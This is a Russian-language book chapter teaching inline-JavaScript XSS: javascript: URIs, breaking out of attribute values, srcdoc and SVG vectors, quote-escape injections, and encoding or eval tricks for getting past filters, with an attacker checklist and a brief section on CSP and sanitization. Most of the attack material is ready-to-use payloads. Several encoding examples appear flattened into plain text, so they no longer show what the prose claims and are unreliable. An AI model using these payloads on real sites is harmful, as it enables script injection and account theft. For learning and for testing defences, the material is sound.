Книга: «Все об уязвимости XSS». Глава 4. Классические векторы атаки 💉 • Inline JavaScript: когда код прямо в атрибуте
Inline JavaScript - это когда ты не создаёшь отдельный тег <script>, а запихиваешь выполняемый код прямо в атрибуты HTML или специальные URI-схемы. Это партизанская война: фильтры блокируют <script>, CSP запрещает внешние источники, а ты тихо протаскиваешь свой код через "легальные" механизмы браузера. Inline JS -это не просто альтернатива классическим векторам, это часто единственный способ пробиться сквозь защиту.
Суть: код живёт в атрибутах
В HTML есть куча мест, где браузер ожидает не просто текст или URL, а потенциально исполняемый код:
- Event handlers (
onclick,onerror,onloadи вся бандаon*) - JavaScript URI-схемы (
href="javascript:...",src="javascript:...") - Специальные атрибуты (
srcdoc,formaction,data) - SVG-специфика (
xlink:href, различные SVG-события)
Когда твой ввод попадает в один из этих атрибутов, ты можешь вставить туда JavaScript, который выполнится в контексте страницы. Это inline - код встроен прямо в разметку, а не загружен извне.
Вектор 1: javascript: URI — олдскул, который жив
Псевдо-протокол javascript: позволяет вместо обычного URL подсунуть браузеру код для выполнения.
Классика:
<a href="javascript:alert(document.domain)">Click me</a>
При клике браузер не переходит по ссылке, а выполняет код после javascript:. Это работает в:
-
<a href="..."> -
<iframe src="..."> -
<form action="..."> -
<object data="...">
Где встречается инъекция:
Приложение формирует ссылку так:
<a href="<?php echo $_GET['url']; ?>">Go</a>
Payload:
?url=javascript:alert(1)
Результат:
<a href="javascript:alert(1)">Go</a>
Обходы фильтров:
Фильтр блокирует слово "javascript"? Используй кодирование:
<a href="javascript:alert(1)">Click</a> <a href="javascript:alert(1)">Click</a> <a href="javascript:alert(1)">Click</a>
Браузер декодирует HTML-сущности перед интерпретацией URI, и получает валидный javascript:.
Tab и newline обход:
<a href="java script:alert(1)">Click</a>
Браузеры часто игнорируют переносы строк и табы внутри URI, склеивая строку в javascript:alert(1).
Null-byte (в старых браузерах):
<a href="java%00script:alert(1)">Click</a>
Вектор 2: Attribute Injection — вырвись и добавь своё
Часто твой ввод попадает в значение существующего атрибута. Задача -вырваться и добавить исполняемый атрибут.
Сценарий: инъекция в quoted attribute
<input type="text" value="USER_INPUT">
Payload:
" onfocus="alert(1)" autofocus="
Результат:
<input type="text" value="" onfocus="alert(1)" autofocus="">
Разбор:
- Первая
"закрываетvalue - Добавляется
onfocus="alert(1)"- исполняемый обработчик -
autofocusзаставляет элемент получить фокус автоматически при загрузке - Последняя
""съедает" оригинальную закрывающую кавычку
Сценарий: unquoted attribute (без кавычек)
<input value=USER_INPUT>
Здесь ещё проще - атрибут заканчивается на первом пробеле:
Payload:
test onmouseover=alert(1)
Результат:
<input value=test onmouseover=alert(1)>
Браузер видит два атрибута: value=test и onmouseover=alert(1).
Вектор 3: srcdoc — HTML внутри атрибута
Атрибут srcdoc у <iframe> позволяет вставить целый HTML-документ прямо в атрибут.
<iframe srcdoc="<script>alert(1)</script>"></iframe>
Это мощнейший вектор, потому что:
- Ты можешь использовать полноценный HTML и JS
- Многие фильтры не проверяют содержимое
srcdoc - Создаётся изолированный контекст (iframe), но с доступом к parent через
parent.document
Обход фильтров через HTML-encoding:
<iframe srcdoc="<script>alert(1)</script>"></iframe>
Браузер сначала декодирует сущности в значении srcdoc, получает <script>alert(1)</script>, и выполняет.
Вектор 4: SVG и xlink:href
SVG - это XML, и у него свои фишки.
<svg> <a xlink:href="javascript:alert(1)"> <text x="20" y="20">Click</text> </a> </svg>
Также можно использовать animate, set и другие SVG-элементы с event handlers:
<svg> <animate onbegin="alert(1)" attributeName="x" dur="1s"> </svg>
Техники обфускации для inline JS
Когда код находится внутри атрибута, у тебя есть два уровня для обфускации:
Уровень 1: HTML-encoding (для самого атрибута)
<img src=x onerror="alert(1)">
a = a. Браузер декодирует сущности в значении атрибута перед выполнением JS.
Можно закодировать всё:
<img src=x onerror="alert(1)">
Это alert(1), но для фильтра - набор чисел.
Уровень 2: JavaScript-encoding (внутри кода)
Используй Unicode escape:
<img src=x onerror="\u0061lert(1)">
\u0061 = a в JavaScript.
Или конкатенацию строк:
<img src=x onerror="window['a'+'lert'](1)">
Для фильтра, ищущего слово "alert", это две отдельные строки.
Комбо: двойное кодирование
<img src=x onerror="eval(atob('YWxlcnQoMSk='))">
YWxlcnQoMSk= - это alert(1) в Base64. Функция atob() декодирует, eval() выполняет.
Обход кавычек в inline JS
Часто фильтры режут кавычки. Но JavaScript позволяет обходиться без них:
Вместо alert("XSS"):
alert(1) alert(/XSS/) // Регулярное выражение как аргумент String.fromCharCode(88,83,83) // Собираем строку из кодов
Template literals (ES6):
alert(`XSS`)
Backticks (`) часто не попадают в черные списки.
Контекст внутри inline JS
Если твой ввод попадает в середину уже существующего inline-кода:
<div onclick="track('USER_INPUT')">Click</div>
Твоя задача -выйти из строки и добавить свой код:
');alert(1);//
Результат:
<div onclick="track('');alert(1)//')">Click</div>
Разбор:
-
'закрывает строку вtrack() -
)закрывает вызов функции -
;завершает инструкцию -
alert(1)— твой код -
//комментирует остаток')"
Защита от inline JavaScript
Inline JS - головная боль для защиты:
Content Security Policy (CSP):
Директива unsafe-inline должна быть запрещена:
Content-Security-Policy: script-src 'self'
Это блокирует все inline-обработчики и javascript: URI. Но многие сайты не используют CSP или настраивают его криво.
Sanitization:
Библиотеки типа DOMPurify удаляют все атрибуты, начинающиеся с on, и фильтруют javascript: в URI-атрибутах.
Output encoding:
Всегда экранируй спецсимволы при выводе в атрибуты:
-
"→" -
'→' -
<→< -
>→>
Чеклист атакующего
- Определи контекст: попадаешь в атрибут? В какой? Quoted или unquoted?
- Пробуй
javascript:URI для href, src, action, data - Attribute injection: вырвись через закрытие кавычки и добавь
on* - Используй
srcdocесли можешь создать iframe - SVG-векторы если позволяет контекст
- Обфускация: HTML-entities, Unicode escapes, Base64+eval, конкатенация
- Тестируй разные кодировки и разрывы (newline, tab, null-byte)
Заключение
Inline JavaScript - это искусство прятать код там, где его не ждут. Когда прямые векторы заблокированы, атрибуты становятся твоим бункером. Знание того, как браузер парсит HTML, декодирует сущности, интерпретирует URI и выполняет inline-обработчики - это база, которая отличает скрипт-кидди от настоящего эксплойт-мастера. Учи спецификации, экспериментируй с edge cases, и помни: каждый атрибут -потенциальная дверь. Твоя задача — найти ту, которую забыли запереть.
